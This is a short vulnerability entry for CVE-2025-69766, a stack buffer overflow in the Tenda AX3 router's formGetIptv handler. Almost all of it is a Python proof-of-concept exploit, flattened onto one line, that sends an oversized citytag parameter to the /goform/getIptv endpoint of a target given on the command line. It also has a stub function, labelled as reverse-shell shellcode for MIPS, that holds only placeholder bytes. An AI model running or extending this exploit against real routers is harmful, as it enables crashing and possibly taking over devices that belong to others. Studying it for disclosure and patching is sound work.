CVE-2025-69766 Tenda AX3路由器formGetIptv函数栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-69766 PoC - Tenda AX3 formGetIptv Buffer Overflow This PoC demonstrates the stack-based buffer overflow in formGetIptv function """ import requests import sys TARGET_URL = "http://{target_ip}" # Replace with target IP def exploit_cve_2025_69766(): """ Exploit the buffer overflow in formGetIptv function The vulnerability is caused by improper handling of citytag parameter """ # Create payload with excessive length to overflow the citytag buffer # The exact buffer size may vary, using 500 bytes as demonstration overflow_length = 500 payload = "A" * overflow_length # Target endpoint for formGetIptv endpoint = f"{TARGET_URL}/goform/getIptv" # Prepare the malicious request params = { "citytag": payload } try: print(f"[*] Sending exploit payload to {endpoint}") print(f"[*] Payload length: {len(payload)} bytes") # Send the malicious request response = requests.get(endpoint, params=params, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def create_shellcode_payload(): """ Generate shellcode for remote code execution This is a placeholder - actual shellcode should be tailored for MIPS architecture """ # MIPS shellcode for reverse shell - example structure # In real exploitation, this would be architecture-specific shellcode = b"\x00" * 100 # Placeholder return shellcode if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) TARGET_URL = f"http://{sys.argv[1]}" exploit_cve_2025_69766()